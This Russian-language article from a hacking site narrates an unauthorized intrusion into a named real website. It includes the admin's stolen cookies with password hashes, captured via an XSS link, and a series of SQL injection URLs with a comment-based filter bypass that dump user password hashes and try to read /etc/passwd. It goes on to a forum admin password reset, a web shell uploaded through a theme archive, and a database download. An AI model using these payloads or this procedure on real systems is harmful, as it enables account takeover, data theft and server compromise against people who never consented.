V-zlom.ru » Статьи » Исследуем безопасность сайта

Исследуем безопасность сайта

Дело началось еще около года назад, когда я тренировался в поисках XSS на просторах отечественных сайтов. И, неожиданно для самого себя, нашел подобную вещь в строке поиска на упомянутом мною портале. Это, конечно, было удивительно - сайт не новый, довольно раскрученный, а тут такая досадная оплошность со стороны админа - XSS. Недолго думая, сформировал ядовитую ссылку, кинул в ЛС админу и модерам с приметкой об ошибке на сайте, и ушел пить чай. Вернувшись, увидел, что меня забанили, по IP, по нику и вообще как только можно :). В логах было пусто. Пока с горя пил вторую чашку чая, в логе появилась запись - 

user_ns=YWRtaW4=; phpbb2mysqlmskd_data=a:2:{s:11:"autologinid";s:32:"6fb7fb04f37b712aac23596075b7e2e5";s:6:"userid";i:2;}; SMFCookie293=a:4:{i:0;s:1:"2";i:1;s:40:"6ccf62edc6e3e807bc4c335a6c0ae680d2d3336f";i:2;i:1453361555;i:3;i:0;}; PHPSESSID=3a5fae5c488265b2149735bc3795b59c; user_nss=YWRtaW4=#; user_tplC=ultra; user_log_in=db00b39a9e918933f06405af1039e60a; user_ID=1; user_name=admin; user_pass=0b85f1f02ca8fa9119f12da2267ec38a; sh_block_radio=0; sh_block_download=0; sh_block_select_tpl=0; sh_block_tags=0; sh_block_links_sites=0; sh_block_poll=0; sh_block_button=0; sh_block_humor=0; sh_block_subscribe=0; sh_block_minichat=1; unicum_voter_189634=voted; last_chat_mess=Наивный  :sm04:; antispam_image=0; user_pm_unread=5; user_mchatlimit=1; MG_1800=14; MG_5171=11; MG_5170=10; MG_5968=9; b=b


Гы, толи любопытство у админа сыграло, то ли забанил меня какой-то знающий модер, а админ по ссылке перешел уже потом - не знаю, но науку в моем лице это не интересовало :). Самое главное, что в куках был хеш пароля админа. ЗЫ Сразу скажу, что под залогиниться под куками у меня не получилось - поздно спохватился, видимо, админ уже завершил сессию. Но у меня в руках был хеш. Да, как показала практика - получить хеш, это еще не значит взломать. Я разместил этот хеш на множестве ресурсов рунета и уанета, я на дедушке сам поставил брут. 2 недели издевательства - а результата никакого не было. И не было гарантии, что админ не поменял пасс после обнаружения атаки на него через XSS. Плюнул я на это дело и забыл. 


А недавно гугл снова занес меня на этот сайт. Первым делом, я, естесственно, проверил старую дырочку в поиске - htmlspecialchar() был на лицо :). И подумалось мне, а нет ли тут других вкусностей? Движок все-таки сильно похож на самописный, поэтому все могло быть. И я пошел по сайту. 
Не буду утомлять вас описанием моих похождений и сразу скажу, что судьба была милостива ко мне. Подстановкой кавычки была обнаружена банальная sqli да еще и с раскрытием путей. 



Но самое интересное оказалось впереди - скрипт фильтровал такие привычные нам плюсы и пробелы, и выпадал в ошибку. Обходим фильтр на плюсы/пробелы конструкцией /**/, самое главное, что работает связка order+by. Определяем количество столбцов -35. Для определения принтабельных полей поставил минус перед числом - опять получил ошибку. Убрал минус, добавил несколько нолей к ID номеру - и все заработало. 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Принтабельные поля были 27, 29, 32. 

Ну, дальше уже вроде как дело техники, опять-таки подумалось мне. И снова вспоминаются слова: если хотите рассмешить богов - начните планировать будущее (за точность цитаты не ручаюсь :)). Для начала традиционно: юзер, версия БД, имя БД: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,version(),28,user(),30,31,database(),33,34,35--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

 



Банальный запрос на имена таблиц 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,table_name,30,31,32,33,34,35/**/from/**/information_schema.tables--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


выпадал с традиционной ошибкой. Опять фильтры. Если честно - не могу понять таких админов. Фильтруют кучу хрени, кроме самого запроса. Ни себе, ни хакерам :). Подозреваю, что фильтр был на нижнее подчеркивание, и как его обойти - хз. Но не мог же я просто все бросить, да еще на самом интересном месте :). Пришлось взять карты Таро и начинать угадывать таблицы. Первый запрос ушел в никуда: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/admin--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Но очередной запрос вернул правильную страницу, а значит таблица была угадана: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Осталось вычленить колонки с именами и паролями. Памятуя о фильтре на нижнее подчеркивание, опять начал гадать. Начал с пассов: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user_pass,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Логины хранятся в столбце user_login 
Итак, долгожданный вывод админского хеша: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,user_pass,30,31,32,33,34,35/**/from/**/users/**/where/**/user_login=0x61646d696e--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip

 



Как всегда - хрен пробрутишь. Честно скажу - опять оставил заявки на разных ресурсах, за сутки ответа не было. 

Что ж, если гора к нам не идет, то пойдем мы к ней. Придется становиться админами самостоятельно. 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,file_priv,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Ошибка, т.к. опять это нижнее подчеркивание? 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,load_file('/var/www/admin/data/www/mskd.ru/modules/page_id.inc'),30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Ошибка. Загоним путь в sql-hex: 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,load_file('0x2f7661722f7777772f61646d696e2f646174612f7777772f6d736b642e72752f6d6f64756c65732f706167655f69642e696e63'),30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Страница подгружается, но содержимого файла не видно. 
Попробуем прочитать другой файл, например, /etc/passwd из корня. 
То же самое. Аналогично и для index.php из корня. 
/var/www/admin/data/www/mskd.ru/index.php 

Да, читать файлы мы не можем. Плохо. 

http://mskd.ru/?id.2992980000/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/users--.documental.Bozhii-gnev-Gods-Wrath-2010-IPTVRip


Что ж, пойдем другим путем. На сайте есть форум - Powered by SMF 1.1.11. 
Чтобы не копать еще и форум - глянул на руководство форума и достал хеш их паролей с форума. Первым найденным расшифрованным хешем стал юзер pashasa. Итак, я модератор форума mskd.ru/forum, да еще и глобальный модератор :). 



А пасс админа опять небрутабелен. 
А вот тут меня ожидала приятная неожиданность :). Зайдя от имени глобального модератора в профиль админа форума, я смог поменять последнему пароль. Палевно, а что делать :). Будем надеяться, что админ спишет это на свою невнимательность. 
Вот я и админ форума. Сразу сделал новый профиль, дал ему админские права. 

Вторым делом я пошел в гугл - ведь наша цель получить шелл на сервере. Нашел 2 способа - через темы и через вложения, но оба не работали: 

2: file_exists() [<a href='function.file-exists'>function.file-exists</a>]: open_basedir restriction in effect. File(/var/www/virtual/mskd.ru/htdocs/fm/Themes/classic/style.css) is not within the allowed path(s): (/var/www/admin/data/www/mskd.ru/:/var/www/admin/data/www/tmp-php:.)
Файл: /var/www/admin/data/www/mskd.ru/forum/Sources/Themes.php
Строка: 1282


Видать, ограничения на запись в папках. Немного покопавшись в настройках форума, находим опцию: Main->Packges->Options->Cleanup Permissions->"All files are writable" 
Сохраняем, идем в установку тем, заливаем zip архив, содержащий наш шелл (у меня wso2.5 by Orb), и переходим по адресу mskd.ru/forum/themes/название нашего архива/название нашего шелла.php 

Вуаля, шелл наш :). 



К сожалению, права на сервере у нас ограничены, но поднимать их до рута не входит в наши планы. Хотя беглый запрос в гугл показал, что ядро имеет сплойт, оставим это на потом. 

Естественно, база данных скачана, шелл перепрятан. Админу тоже сброшена весточка об уязвимости. Была мысль шелл продать, но совесть не позволяет. Ладно, буду бедный - но гордый :). 


Вот, собственно, и все. 
С уважением, stan_q 
для форума HPC
 


ЗЗЫ По состоянию на сегодняшний день, указанные уязвимости на сайте отсутствуют, также был удален залитый мною шелл. Т.к. бэкдоров я никаких ни в коде, ни в файлах не оставлял, доступа к сайту у меня уже нет. А админ даже спасибо не сказал. Хотя за оперативность (за ночь все устранили) админу отдельный респект. 


ЗЗЗЫ Все написано исключительно в образовательных целях, я никого не призываю к каким-либо деструктивным действиям. Учтите, что за свои действия вы несете ответственность лично. Моей целью было показать, что даже старые и крупные проекты могут иметь в своем коде множество баг.

  • Автор: makar
  • Комментарии: 0
  • Просмотры: 542
0

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!